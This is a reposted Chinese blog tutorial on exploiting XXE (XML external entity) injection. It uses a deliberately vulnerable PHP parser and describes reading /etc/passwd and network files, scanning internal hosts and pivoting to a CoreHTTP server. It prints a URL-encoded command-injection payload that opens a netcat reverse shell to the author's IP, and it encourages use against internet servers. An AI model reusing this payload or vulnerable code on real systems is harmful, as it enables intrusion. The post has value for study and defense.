zoukankan      html  css  js  c++  java
  • 【XXE技巧拓展】————7、XXE (XML External Entity Injection) 漏洞实践

    介绍

    XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。主要是针对使用XML交互的Web应用程序的攻击方法。

    其实我对XXE也不是很很感兴趣,通常我只是利用该漏洞从本地系统读取文件而已。最近我又开始研究最新的XXE的数据库漏洞,并在YouTube上看视频,和阅读XXE的各种文章和书籍。所以如果有错的地方,你可以指出来。

    在OWASP信息中需要注意的一点是“攻击者可能会使用这个受信任的应用程序来转移到其他内部系统,还可能通过http(s)请求或者对任何未受保护的内部服务发起CSRF攻击其他内部系统。

    安装并运行起来

    现在很多网站的XML解析器在默认情况下都是允许使用XXE的。

    使用以下PHP脚本,它解析发送给它的XML并将其回传给用户。我把它命名为NEW_XXE.php,并把它放在我的Web根目录下的CUSTOM目录中。

    我在WEBSVR01上创建这个PHP脚本

    <?php
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    $stuff = $xml->stuff;
    
    $str = "$stuff 
    ";
    
    echo $str;
    ?>

    如果要在实验室中创建此场景,你可以将上述脚本放入PHP服务器(要先确保安装了php-xml)。

    现在创建一个xml文件,作为请求发送到具有以下内容的服务器。我命名为“send.txt”,并将其从WEBSVR01发送到本地主机,以确保一切都符合预期。

    你可以把任何你想要的东西,像这样把它发送到 WEBSVR01  aka本地主机。

    现在我们可以看到它响应了。

    现在“application”开始运行了。现在我们可以混淆解析器了。

    一些External Entities请求

    将“send.txt”修改为以下内容:

    这是对Linux系统的典型XXE攻击,是证明该漏洞存在的好方法。如果一切正常,你应该得到一个“/ etc / passwd”转储(dump)。

    从 WEBSVR01  再次发送到本地主机。

    XXE可以做的另一件非常有用的事情是创建HTTP请求。

    在WEBSVR01上的8888端口上启动python SimpleHTTPServer,我们来看看会发生什么

    我的python http server服务器。

    我们可以发送http请求了。

    在远程系统中,我可以利用此漏洞并获取一些网络信息。在这里我解释一下这个漏洞,你可以在互联网上许多的Web服务器上发现这个漏洞,你可以用它作为枢轴点。

    下图显示了全部。我在34.200.157.128找到了一个网络服务器,该主机真的是NAT /Firewall设备后面的WEBSVR01。WEBSVR01有一个XXE漏洞,我想用来收集信息并用来攻击利用WEBSRV02。我的攻击PC是在开放的互联网上的

    如果你做了适当的信息收集或者枚举,你可以发现这是一个Ubuntu的服务器。你可以在几个敏感的地址查看到这个服务器的网路信息。

    首先,你要抓取“/etc/networking/interfaces”,如果需要更多信息,可以查看“/proc/net/route”(如果这些值为十六进制,则可能需要转换它们)。

    在我的攻击PC(Ubuntu 14 LTS)中,我创建请求文件从Web服务器抓取“/etc/network/interfaces”。

    在ATTACK PC上编辑文件来抓取/etc/passwd

    发送请求:

    现在我们知道这个内部网络或DMZ的IP方案的host地址是在哪了。我们使用XXE来获取其内部IP地址10.0.0.3得服务器默认页面。

    注意:有些字符会破坏XML。到目前为止,我们只查看了文件或者做了简单的http请求,没有返回会破坏我们的XML的字符。由于我们使用的是PHP,所以返回的内容是base64编码的。在ATTACK PC上更改你的“send.txt”以匹配以下内容,并添加以下PHP过滤器。

    现在发送请求

    现在我们得到了base64编码的内容,一旦解码,我们就得到了网页的内容了。

    构建HTTP扫描器

    将上面的都放在一起,我们现在可以扫描Web服务器的内部IP范围了。

    当然使用Python了。

    你可以在我的GitHub上获取脚本。

    从ATTACK PC, EXECUTE!

    让我们看看Base64如何解码10.0.0.4返回的数据。

    嗯…。CoreHTTP?

    exploit-db.com上的小漏洞:https://www.exploit-db.com/exploits/10610/

    因为我们获得了一个index.pl(Perl)文件,所以我要假设CGI是启用的,所以这个漏洞可以执行。它通过在GET请求中传递参数来执行,因此我们可以对面向公网的主机进行XXE漏洞攻击。

    解密Metasploit模块后,需要发送的请求就像此URL编码的http请求一样:

    http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2
    00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60

    注意,我把我的IP地址放在“34.200.157.80”,我的Netcat侦听器就会启动。整个字符串是一个URL编码的反向Netcat外壳,没有使用“-e”来使用mknod和backpipe。

    现在让我们通过XXE漏洞来触发10.0.0.4的漏洞。

    在ATTACK PC上创建Netcat侦听器并执行!

    现在你得到一个反向的Shell了。

    转自:http://www.mottoin.com/article/web/101806.html

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    【BZOJ1006】神奇的国度(弦图)
    弦图
    【BZOJ2946】公共串(后缀数组)
    【POJ1743】Musical Theme(后缀数组)
    JAVA和Tomcat运维整理
    linux shell 之if-------用if做判断
    Linux curl命令详解
    Intel HEX文件解析
    Linux bridge-utils tunctl 使用
    怎样查询锁表的SQL
  • 原文地址:https://www.cnblogs.com/devi1/p/13486375.html
Copyright © 2011-2022 走看看